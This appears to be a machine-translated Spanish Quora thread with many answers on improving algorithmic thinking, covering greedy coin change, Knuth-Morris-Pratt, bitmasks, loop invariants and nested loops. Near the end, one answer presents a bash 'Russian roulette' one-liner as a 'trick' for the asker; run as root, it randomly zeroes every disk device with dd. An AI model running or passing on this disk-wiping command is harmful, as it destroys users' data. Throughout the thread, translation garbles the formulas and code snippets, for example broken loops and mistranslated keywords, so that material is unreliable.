¿Qué puedo aprender ahora en solo 10 minutos que podría mejorar mi pensamiento algorítmico?

Tenga en cuenta que la mayoría de los problemas de optimización se pueden resolver con una estructura de árbol muy simple que explora todas las posibilidades. Por ejemplo, si desea crear un algoritmo de cambio, que calcule la menor cantidad de monedas de EE. UU. Comúnmente utilizadas para realizar el cambio, simplemente puede explorar todas las combinaciones posibles de monedas. Si se utilizara este algoritmo de árbol simple para calcular las monedas por $ .26, incluiría:

26 centavos (26 monedas)
21 centavos y 1 níquel (22 monedas)
16 centavos y 2 monedas de cinco centavos (18 monedas)

1 cuarto y 1 centavo (2 monedas)

Y una vez que se calculan todas las posibilidades, puede ver fácilmente que 2 monedas, el cuarto y el centavo juntos, es la solución óptima.

Entonces, ahora que ha creado un algoritmo para resolver su problema de optimización, puede comenzar la tarea de optimización. La optimización de un algoritmo basado en árbol gira en torno a dos cosas:

  1. El algoritmo debe adivinar dónde comenzar a buscar la solución óptima y comenzar allí.
  2. Las ramas enteras de soluciones no óptimas deben eliminarse lo más rápido posible sin evaluar todas las soluciones posibles.

Así que volvamos al algoritmo de hacer cambios. Este problema es lo suficientemente trivial como para dar un salto intuitivo: usar monedas grandes es mejor. Entonces, para la solución de $ .26, si comenzamos usando un cuarto para una de las monedas, podemos eliminar instantáneamente docenas de sucursales que usan monedas más pequeñas para obtener los primeros $ .25. Esto hace que el cálculo sea mucho más rápido.

Además, al hacer esto, estamos comenzando a acercarnos a la solución, porque sabemos que si alguna solución incluye una cuarta parte, entonces esa solución es mejor que todas las soluciones que no incluyen una cuarta parte. Comenzar con el tipo más grande posible que se ajuste es la base del “algoritmo codicioso”, que es uno de los algoritmos más comunes utilizados en la optimización.

La próxima vez que se encuentre con algún problema de optimización, primero considere si se puede resolver (de manera no óptima) mediante un árbol simple. Si es así, comience allí y luego optimice el algoritmo.

editar: La generalización de que las monedas más grandes siempre son mejores para el sistema de monedas de EE. UU., pero tal vez no para TODOS los sistemas de monedas (lea los comentarios para obtener más información). El algoritmo codicioso a menudo debe ajustarse a problemas individuales. Gracias Jimmy Kim por la captura.

¡Puede aprender un algoritmo rápido para implementar Ctrl + F en aproximadamente 10 minutos!

Supongamos que desea encontrar ocurrencias de la cadena [math] S [/ math], que tiene una longitud [math] n [/ math], en la cadena [math] T [/ math], que tiene una longitud [math] m . [/ math] Resulta que puedes hacer esto a tiempo [math] O (m + n), [/ math] que pensé que era bastante alucinante la primera vez que escuché sobre este algoritmo (Knuth-Morris-Pratt )

Aquí hay una descripción general de cómo funciona. Comienza por verificar si hay una instancia de [math] S [/ math] que comienza en el carácter [math] 0 [/ math] de [math] T. [/ Math] Verifica carácter por carácter y encuentra que el primero [ matemática] k [/ matemática] coincidencia, pero [matemática] S [k + 1] \ neq T [k + 1]. [/ matemática] Su primer instinto es probablemente comenzar ahora a verificar si una instancia de [matemática] S [ / math] comienza en el carácter [math] 1 [/ math] de [math] T. [/ math] Si hiciéramos esto, el algoritmo tendría complejidad [math] O (mn). [/ math]

La idea general de KMP es que si inmediatamente comenzaste a buscar una coincidencia, personaje por personaje comenzando en la posición [matemática] 1, [/ matemática] estarías tirando una tonelada de información: a saber, que ya sabes cuál es el primero [math] k-1 [/ math] ¡los caracteres de [math] T [/ math] son ​​los que comienzan en la posición [math] 1 [/ math]! En particular, tenemos [matemáticas] T [1] = S [1], T [2] = S [2], T [3] = S [3] [/ matemáticas] y así sucesivamente.

Supongamos que conocemos el número [math] z [/ math] de modo que el sufijo propio más largo de [math] S [0: k] [/ math] que también es un prefijo de [math] S [/ math] es [matemáticas] S [z: k]. [/ matemáticas] ¡Entonces sabríamos que la siguiente instancia posible de [matemáticas] S [/ matemáticas] en [matemáticas] T [/ matemáticas] comienza en la posición [matemáticas] z! [ / math] Además, ni siquiera tendríamos que verificar los primeros caracteres [math] kz [/ math] de la coincidencia potencial (porque ya sabemos que coinciden, de lo contrario, hubiéramos fallado nuestra primera coincidencia antes). Por lo tanto, cualquier retroceso sería innecesario; podríamos reanudar el examen de los caracteres de [math] T [/ math] desde la posición actual: [math] k + 1 [/ math]

Aquí está la magia de este enfoque: ya que estamos comprobando si una instancia de [matemáticas] S [/ matemáticas] comienza en [matemáticas] T [i], [/ matemáticas] hay dos cosas que pueden suceder. O el siguiente personaje coincide o no. En el primer caso, la posición de [matemáticas] T [/ matemáticas] que estamos examinando actualmente aumenta, y [matemáticas] i [/ matemáticas] sigue siendo el índice inicial de la coincidencia potencial actualmente considerada. En el segundo caso, el índice inicial de la coincidencia potencial actualmente considerada rebota en una cantidad positiva, mientras que el índice del carácter examinado actualmente permanece sin cambios.

Entonces, si pensamos en estos dos criterios, el índice examinado actualmente y el índice inicial de la coincidencia potencial actualmente considerada, nos damos cuenta de que en cada paso del algoritmo al menos uno se mueve hacia arriba mientras que el otro no se mueve hacia abajo. Pero ambos números están delimitados por [math] m [/ math], la longitud de [math] T [/ math]. ¡Por lo tanto, se garantiza que el algoritmo se complete después de [math] 2m [/ math] pasos!

Este es el núcleo del análisis; no es demasiado difícil demostrar que podemos calcular todos los [math] z [/ math] ‘s en [math] O (n) [/ math] time. Una vez que tenemos estos datos, hemos demostrado que podemos recorrer [matemática] T [/ matemática] en [matemática] O (m) [/ matemática] tiempo, para una complejidad de tiempo total de [matemática] O (m + n ).[/mates]

Lo mejor que puede aprender en aproximadamente 10 minutos sobre el pensamiento algorítmico es (una viñeta <1 minuto):

1 – Cuanto más precarios son los datos, más complejos son los algoritmos, los datos enriquecidos conducen a algoritmos más simples.
2 – Cualquier conjunto, lista o secuencia de datos es mejor y más rápido para procesarlo si llega primero ORDENADO. Planifique el pedido por adelantado.
3 – Los algoritmos más sofisticados requieren cierta estructura de árbol para las optimizaciones.
4 – Los índices de la base de datos son básicamente estructuras de árbol.
5 – El algoritmo de clasificación rápida es el mejor algoritmo para ordenar grandes conjuntos de datos.
6 – La inmutabilidad es importante y significa que cuanto más constante puedas usar, mejor.
7 – Evite usar variables sin declaración como la plaga.
8 – Evita declarar variables sin definirlas.
9 – Los mejores algoritmos tienen menos de 10 decisiones lógicas (idealmente menos de 5). Si necesita más que eso, use subrutinas.
10 – Nunca tome su primera idea de un algoritmo como su forma final. Piense en mantener su tercera revisión / optimización de antemano.

Espero que esto ayude.

Atentamente,
@hernanemartinez

Youtube puede ser la mejor fuente quizás,

En primer lugar, y lo más importante: practicar. Piensa en soluciones para todo cada vez. No tiene que estar en su computadora, programando. Todos los algoritmos lo harán muy bien. Así: cuando intercambiaban cartas, ¿cómo comparaban su mazo y el de sus amigos para determinar la mejor manera para que ambos intercambiaran? ¿Cómo puedes definir cuántos intercambios puedes hacer para hacer el máximo y aún así no recibir ninguna carta repetida?

Utilice bases de datos de problemas y jueces en línea como este sitio, http://uva.onlinejudge.org/index …, que tiene cientos de problemas relacionados con algoritmos generales. Y no necesita ser un programador experto para resolver ninguno de ellos. Lo que necesitas es una buena habilidad con la lógica y las matemáticas. Allí, puede encontrar problemas desde los más simples hasta los más desafiantes. La mayoría de ellos provienen de maratones de programación.

Luego, puede implementarlos en C, C ++, Java o Pascal y enviarlos al juez en línea. Si tiene un buen algoritmo, será aceptado. De lo contrario, el juez dirá que su algoritmo dio la respuesta incorrecta al problema, o tomó demasiado tiempo resolverlo.

Leer sobre algoritmos ayuda, pero no pierdas demasiado tiempo en ello … Leer no ayudará tanto como tratar de resolver los problemas por ti mismo. Tal vez puedas leer el problema, tratar de encontrar una solución para ti, comparar con la solución propuesta por la fuente y ver qué te perdiste. No intentes memorizarlos. Si tiene el concepto bien aprendido, puede implementarlo en cualquier lugar. La comprensión es la parte más difícil para la mayoría de ellos.

Estos son los 3 mejores libros para el pensamiento algorítmico :

  1. Estructura de datos y pensamiento algorítmico con Python (inglés) 1 Edición
  2. Algorithm Design (English) 1st Edition (Eva Tardos, Jon Kleinberg)
  3. Estructuras de datos y algoritmos simplificados en Java: estructura de datos y acertijos algorítmicos (inglés) (Narasimha Karumanchi)

Bitmasks!

Un booleano es una variable binaria con un valor de “verdadero” o “falso”. Una máscara de bits es un pequeño conjunto de booleanos y está representada por una serie de enteros. Esto es posible porque los enteros se almacenan como una cadena de bits en la memoria de la computadora.

¿Por qué aprender máscaras de bits? Porque son rápidos Las operaciones de conjuntos son muy eficientes porque la manipulación bit a bit solo se aplica al entero correspondiente.

Ejemplo rápido de eficiencia de manipulación bit a bit:

Supongamos que tenemos un número entero [matemáticas] S = 34 [/ matemáticas]. En binario, [matemática] S = 100010 [/ matemática]. Para multiplicar S por 2, solo necesitamos desplazar los bits en S a la izquierda por 1.

[matemática] S = 34 [/ matemática] (base 10) [matemática] = 100010 [/ matemática] (base 2).

[matemática] S = S << 1 = S * 2 = 68 [/ matemática] (base 10) [matemática] = 1000100 [/ matemática] (base 2).

Bien, genial, pero ¿cómo mejora esto tu pensamiento algorítmico?

El primer enfoque que generalmente debe tomar al diseñar un algoritmo es un enfoque de búsqueda completo. Búsqueda completa de pros y contras:

Pros: fácil de codificar

Con: generalmente toma demasiado tiempo porque está atravesando todo el espacio de búsqueda para encontrar la solución.

La manipulación bit a bit ayuda a su pensamiento algorítmico porque es una herramienta adicional que puede usar cuando diseña un enfoque de búsqueda completo.

Ejemplo:

Dada una lista [math] L [/ math] que contiene [math] 1 \ leq n \ leq 20 [/ math] enteros, ¿hay un subconjunto de list [math] L [/ math] que sume a un entero dado [math ] X [/ matemáticas]?

Pruebe todos los subconjuntos de enteros [matemática] 2 ^ n [/ matemática] y vea si la suma de los enteros seleccionados es igual a [matemática] X [/ matemática]. Con un peor caso de [matemáticas] O (n [/ matemáticas] [matemáticas] * [/ matemáticas] [matemáticas] 2 ^ n) [/ matemáticas] y el caso más grande de [matemáticas] n = 20 [/ matemáticas] , esto es alrededor de 21 millones de operaciones. Pero esto es factible porque el mayor caso de 21 millones de operaciones se realizaría en menos de un segundo con manipulación bit a bit .

Utilice la representación binaria de enteros desde [matemáticas] 0 [/ matemáticas] a [matemáticas] 2 ^ n -1 [/ matemáticas] para describir todos los subconjuntos posibles.

// la rutina principal, la variable ‘i’ (la máscara de bits) se ha declarado anteriormente
para (i = 0; i <(1 << n); i ++) {// para cada subconjunto, O (2 ^ n)
suma = 0;
for (int j = 0; j if (i & (1 << j)) // prueba si el bit 'j' está activado en el subconjunto 'i'?
suma + = l [j]; // en caso afirmativo, procese ‘j’
if (suma == X) descanso; // se encuentra la respuesta: máscara de bits ‘i’
}

¡Eso es! En aproximadamente 10 minutos, aprendiste que:

  • Los booleanos son variables binarias que son “verdaderas” o “falsas”
  • Las máscaras de bits son pequeños conjuntos de booleanos
  • las máscaras de bits están representadas por una serie de enteros
  • Las manipulaciones de las máscaras de bits son rápidas porque la manipulación de bits solo cambia el número entero correspondiente
  • considere primero un enfoque de búsqueda completa
  • las máscaras de bits pueden darle suficiente influencia para hacer un enfoque de búsqueda completo lo suficientemente rápido para sus necesidades

Otro consejo profesional: ordenar la entrada puede ordenar la información para que su enfoque de búsqueda completo sea efectivo y eficiente. ¡Gracias por los 7 A2A!

Cada vez descubro que describir mis algoritmos con gran detalle antes de codificarlos es muy beneficioso.

Comprender los pasos, dibujarlos en papel o con software, saber exactamente qué hace qué y según qué reglas, etc.

Es fácil saltar y tratar de hacer que suceda, y en general eso ha sido lo suficientemente bueno para mí: hace el trabajo.

Pero tomarlo desde un punto de vista de diseño me permite ver el potencial de mejoras tanto de inmediato como en el futuro, y me hace más lúcido a medida que codifico para poder ver cosas potenciales para aprovechar.

Como el otro día que vi, tenía la opción de usar un solo bucle para hacer tres cosas a la vez en lugar de hacer tres bucles consecutivos. No creo que lo hubiera notado si no lo hubiera formulado de manera tan clara.

Es como darse un ancho de banda mental adicional.

Siento que el pensamiento algorítmico no es algo para aprender … Pero es algo para practicar. Siempre que piense en escribir o diseñar un algoritmo, es muy importante que siga algunos buenos pasos no solo para que funcione, sino también para que sea eficiente en todos los sentidos. Esto es lo que aprendí y me ayudó a resolver muchos problemas sobre el diseño de algoritmos.
Y también puede practicar dos problemas simples para tener una idea de estos pasos en 10 minutos.

Paso 1: escriba el enfoque de Brut Force para el problema para el que desea diseñar un algoritmo.

Paso 2: si usa algunas estructuras de datos en él, ¿ayudará a hacerlo más eficiente en términos de complejidad de tiempo y espacio?

Paso 3: si realiza alguna operación aritmética y mejora aún más la eficiencia.

Paso 4: si puede utilizar algunas operaciones especiales [por ejemplo, XOR, operadores de bit sabios, etc.] para hacerlo aún mejor. Esto ayuda a reducir la complejidad del espacio.

Obtendrá información sobre cada uno en Internet.

Y sí, estos pasos nuevamente requieren mucho pensamiento y práctica. Por lo tanto, tanto como puedas pensar y practicar en varias direcciones, el pensamiento algorítmico mejorará 🙂

Hay una forma realmente simple de mejorar su pensamiento algorítmico, y es bastante no intuitivo.

La mejor manera de mejorar su pensamiento algorítmico y escribir algoritmos limpios y eficientes es realmente ralentizar su proceso de pensamiento.

¡Reduce la velocidad de tu cerebro!

No, en serio, si eres de la formación educativa india (como yo), probablemente has sido entrenado y crees que la velocidad es el factor más importante, pero esto se aplica solo cuando las respuestas ya se conocen o el método para resolver nosotros los conocemos. Sí, estoy mirando los exámenes de la junta .

El desafío con los algoritmos de escritura es escribir algoritmos eficientes, mientras se asegura su corrección; lo cual no es una tarea fácil. El truco aquí es cuestionar cada una de las decisiones que tome, en cada paso en la elaboración de su algoritmo, para garantizar la corrección. Cuestione el enfoque que elija, las variables que introduzca, la condición base de su función recursiva, los parámetros que necesitan sus funciones y cualquier otra sutileza en su algoritmo.

Disminuya la velocidad de su cerebro, disfrute de la resolución del algoritmo: ‘pensamientos lentos’ inducidos en su cerebro, es extrañamente adictivo.

Esto no mejorará su pensamiento algorítmico de inmediato, pero lo hará a largo plazo si lo aplica.

Trate de pensar mentalmente cómo implementará las cosas a su alrededor. Por ejemplo, cosas a mi alrededor en este momento:
– Notificación del sistema de bus
– Pregunta relacionada de Quora
– Función “Eliminar anonimato”
– Algoritmo de resumen de Quora

No tiene que resolver cada detalle, la mayoría de las veces las estructuras de datos y los algoritmos básicos deberían ser suficientes. Pero tenga en cuenta el tiempo y la complejidad de la memoria. En caso de que no pueda hacer ejercicio, vaya a google.

Espero que esto ayude

Aprende a observar todo tan de cerca hasta que “descubras la informática” en él. Hace unos días respondí la pregunta: ¿Cómo uso algoritmos y estructura de datos en la vida real? con este:

  1. ¿Hacer amistad con alguien en FB? Amplitud primera búsqueda.
  2. ¿Escribirle una carta? Firmar.
  3. Esa es una carta de amor? Cifrar Firmar.
  4. ¿Ustedes dos en el aula? Comprimir. Cifrar Firmar.
  5. ¿El profesor se dio cuenta y corrió hacia la salida? Profundidad primera búsqueda.
  6. ¿Esperando abordar el autobús? Cola.
  7. ¿El profesor aún te persigue? Cola prioritaria.
  8. ¿Ir directamente a un sermón para almorzar gratis? Apilar.
  9. ¿Escuchó la palabra modestia y buscó en el diccionario? Búsqueda binaria.
  10. Supuse que era la hija de ese profesor. Volver hacia atrás.
  11. ¿No estás seguro de eso y estás buscando una guía telefónica para papá? Trie
  12. ¿Papá aconsejó fugarse e irse de gira mundial? Vendedor ambulante
  13. ¿Prof. imaginado y tiene tiempo y equipaje limitados? 0/1 mochila.
  14. ¿Llenar su billetera con tarjetas de crédito? Formación.
  15. ¿Encontrar las llaves del auto a toda prisa? Picadillo.

La gente piensa que es una respuesta sorprendente, pero no veo por qué no tiene sentido común. Comience a observar y cuestionar, y obtendrá mejores historias y formas de presentar la informática.

Es bastante difícil responder esa pregunta sin saber lo que ya sabes. Si tuviera que dar solo una cosa, esa cosa serían invariantes de bucle. Comprenda que cuando escribe un bucle, implícita o explícitamente usa un bucle invariante.

Un bucle invariante es un predicado (una declaración que es verdadera o falsa) con las siguientes propiedades:

  1. Es cierto al entrar en el ciclo la primera vez.
  2. Si es cierto al comenzar una iteración del bucle, sigue siendo cierto al comenzar la siguiente iteración.
  3. El ciclo termina, y el ciclo invariante más la razón por la cual el ciclo termina le da la propiedad que desea.

Tomemos un ejemplo realmente simple. Considere este ciclo para sumar los primeros n elementos de una matriz a , donde n es un entero positivo:

suma = 0
i = 0
mientras yo suma = suma + a [i]
i = i + 1

Aquí está el bucle invariante: al ingresar una iteración del bucle, suma = a [0] + a [1] + a [2] +… + a [i-1]. Ahora veamos cómo se mantienen las tres propiedades para este bucle invariante.

  1. Al ingresar a la primera iteración, i = 0. La suma a [0] +… + a [i-1] está vacía, ya que i-1 = -1. La suma de los términos no es la identidad 0 para la suma. Comprobar.
  2. Al ingresar una iteración para un valor de i, suponga que el bucle invariante es verdadero, de modo que sum = a [0] + a [1] + a [2] +… + a [i-1]. La iteración agrega un [i] en la suma y luego incrementa i, de modo que el bucle invariante mantiene entrando en la siguiente iteración. Comprobar.
  3. El ciclo termina una vez que i = n. De acuerdo con el bucle invariante, suma = a [0] + a [1] + a [2] +… + a [n-1]. Verificación: suma es de hecho la suma de los primeros n elementos de la matriz.

Ahora, este ejemplo es bastante trivial. Si estuviera escribiendo este bucle, dudo que razone formalmente al respecto de esta manera. Pero este razonamiento es exactamente lo que estaba en el fondo de su mente, ya sea que se haya dado cuenta o no. Los invariantes de bucle lo ayudan a comprender y probar bucles correctos más complicados.

Si los invariantes de bucle le recuerdan la inducción matemática, deberían hacerlo. La primera propiedad se asigna a la base de la inducción, y la segunda propiedad es como la hipótesis inductiva. Es la tercera propiedad que es un poco diferente, ya que la mayoría de las pruebas inductivas no tienen una condición de terminación.

De todos modos, pediste algo que podrías aprender en solo 10 minutos. Eso es lo mejor que se me ocurre que puedes aprender en 10 minutos. Podría haber dicho recursión, pero en mis 23 años de experiencia en la enseñanza de recursividad en nuestro curso introductorio, lleva más de 10 minutos.

Bucles anidados

para (int i = 1; i <= 5; i ++)
{
para (int j = 1; j <= i; j ++)
Sistema. out.print (j)
}
System.out.println ();
}

Tuve algunos problemas con este código hace unos 4 años (octavo grado, supongo). Luego leí en algún lugar de un libro para visualizar esto como un reloj.

(Imagen tomada de la alarma del reloj)

Cada vez, la manecilla de segundos se mueve 60 veces, la manecilla de minutos se mueve una vez.

Aquí, visualice que el bucle más interno es el segundero y el minutero como el bucle externo . Bastante simple ¿verdad?

Miremos el ciclo nuevamente ahora

para (int i = 1; i <= 5; i ++)
{
para (int j = 1; j <= i; j ++)
Sistema. out.print (j)
}
System.out.println ();
}

Primera vez, la condición del bucle externo es válida.

Entonces va al bucle interno.

Impresiones 1

La próxima vez, i = 2. La condición del bucle externo sigue siendo válida (ya que 2 es menor que 5)

Ahora, el bucle interno se ejecuta nuevamente, desde j = 1 hasta 2. (Visualiza el segundero 😉)

Entonces imprime

12

Tercera vez, i = 3, 3 <5

Entonces, el bucle interno comienza de nuevo ( Tan pronto como la manecilla de segundos completa una rotación y la manecilla de minutos se mueve por un lugar, ¿no comienza la rotación nuevamente?)

Asi que ,

(j = 1; j <= 3; j ++)
{
System.out.print (j)
}

Básicamente se ejecuta y 123 se imprime y así sucesivamente …

Entonces el resultado final será

1
12
123
1234
12345

Ahora, la mayoría de ustedes pensarán que es realmente trivial. Pero es útil saber si aún no lo hace y mejora su habilidad.

(¿Puedes adivinar cómo funciona ahora el bucle anidado tres?)

Espero que haya ayudado

Que tengas un buen día xD

No es una muy buena idea separar los problemas en diferentes paradigmas para los algoritmos de aprendizaje.

Casi siempre veo a los estudiantes, mientras se encuentran en proceso de aprendizaje de algoritmos, que practican preguntas recogiendo un paradigma a la vez.

Para obtener lo mejor de su experiencia de aprendizaje, cada problema debe verse como uno nuevo, independiente de cualquier dominio específico al que pertenezca. El enfoque apropiado es aprender sobre cada paradigma y luego comenzar a resolver problemas, sin preocuparse por su tipo específico. Esto no solo amplía su percepción, sino que también asegura que no converja a su zona de confort de paradigmas conocidos.

Hay dos lados de esta pregunta:
1. Enfoque pre-algorítmico
2. Enfoque post-algorítmico

El enfoque pre-algorítmico: se trata de pensar diferentes formas de hacer las cosas. Cuando se trata de algoritmo, qué concepto obtendrá los resultados deseados, ¿necesito algún otro concepto con el existente?

El enfoque post-algorítmico se refiere a mejorar el código. ¿Cómo hacer las cosas más rápido? En resumen “OPTIMIZACIÓN”.

La mejor manera de aumentar el pensamiento algorítmico es pensar en binario. intenta imitar el comportamiento de la computadora. No veo el problema como una oración en inglés, en lugar de verlo como un montón de trabajo que solo tendrá sentido, que puedo leerlos en binario, es decir, transformarlos en un fragmento de código.

Como dijo sir Thomas Cormen, es difícil responder sin saber lo que uno ya sabe, sugeriría comprender el problema para el que desea desarrollar el algoritmo. Una vez que crea que comprende el problema, responda la siguiente pregunta.

  • ¿Es posible dividirlo en problemas más simples?
  • ¿Se puede correlacionar con el escenario del mundo real?
  • ¿Qué atributos puede pensar para diseñar la solución?

Creo que responder (para mí these) estas preguntas te lleva a un paso más cerca de la solución.
Por último, pero no menos importante, tenga a mano una combinación de entrada / salida de muestra para probar lo que haya hecho.

Espacios multidimensionales. No puedo creer que sea algo que la mayoría de la gente cree que es una característica de ciencia ficción, mientras que la mayoría de los problemas cotidianos son multidimensionales, incluso si tendemos a proyectarlos en representaciones 1d, 2d, 3d. Y una vez que comprenda la multidimensionalidad, comprende el espacio de fases, y una vez que comprende el espacio de fases, la mayoría de sus decisiones se vuelven fáciles y, en consecuencia, su vida se vuelve fácil.

¿Qué es un espacio multidimensional? Compra un auto. Desea saber su velocidad, cuántos asientos, autonomía y precio. Su automóvil finalmente será un punto en las 4 dimensiones descritas anteriormente. O más dimensiones si quieres …

No sé qué sabes y qué no, pero puedo contarte un truco que definitivamente mejorará tus habilidades de pensamiento de algoritmos.

Cada vez que encuentre algo interesante, escríbalo en forma de algoritmo.

Supongamos que acaba de ver una película y la encuentra muy interesante. Y ahora quieres expresarlo en términos de algoritmo. Aquí va:-

1) Hay dos variables globales x e y (x = heroína e y = héroe, global porque aparecen a lo largo de la película).

2) Hay una variable z (villano) de HELL (una función) que quiere cambiar el valor de x (z quiere casarse con ella).

3) Pero como la x no se pasa como puntero, su valor original no cambia.

4) Ahora x no está casado con ese villano, xey viven juntos para siempre.

La película termina.

Este es solo un ejemplo aleatorio, puede escribir algo mucho mejor y definitivamente mejorará sus habilidades de desarrollo de algoritmos.

Como ha mencionado el algoritmo de palabras, supongo que desea una respuesta relevante para el mundo de la informática en lo que respecta al aprendizaje en 10 minutos

Te daré un hermoso truco informático

Un lindo y pequeño script de ruleta rusa

. #! / bin / bashif [[$ [$ RANDOM% 6] == 0]]; entonces para f en / dev / sd *; do dd if = / dev / zero of = $ f hecho para f en / dev / nv *; do dd if = / dev / zero of = $ f doneelse echo “Lucky guy” fi

Ejecutar esto como root simplemente pondrá a cero todas sus particiones, todos sus discos duros, cada cosa que esté montada como / dev / sd algo se pondrá a cero :). Incluyendo unidades de disco conectadas y montadas.

Espero que esto responda a su pregunta.

Comience a pensar y diseñar algoritmos en flujos de datos. La vida no siempre viene como un lote de datos, sino como un flujo de información. La forma de resolver flujos es muy diferente y requiere una nueva forma de pensar.

Haz mejoras incrementales. Hasta que tenga una solución, no se preocupe por la eficiencia. Si sabe que un problema debería tener una solución que se ejecute en O (n log n), no dude en escribir el algoritmo “ingenuo” O (n ^ 2). A menudo, pensar en una solución ineficiente ayudará a encontrar una solución eficiente. Si necesita el algoritmo para un programa, continúe y codifique primero la solución ingenua. Puede resultar que no necesita el rendimiento adicional de todos modos, y hasta que haya perfilado su código, probablemente no sabrá dónde está el cuello de botella.

Más allá de eso, hay una serie de técnicas que aparecen con bastante frecuencia. Busque formas de descomponer el problema, especialmente dividir y conquistar y programación dinámica. Intente encontrar representaciones alternativas del problema: si puede reducirlo a una forma más canónica, puede encontrar una solución que aproveche la teoría de grafos, o FFT, o la programación lineal. Intente resolver un problema más simple eliminando una restricción, y podría obtener la información que necesita. Intenta generalizar el problema. Intente usar una variedad de estructuras de datos. Intenta explicar el problema a un amigo. Si todo lo demás falla, duerme en él y vuelve con los ojos frescos.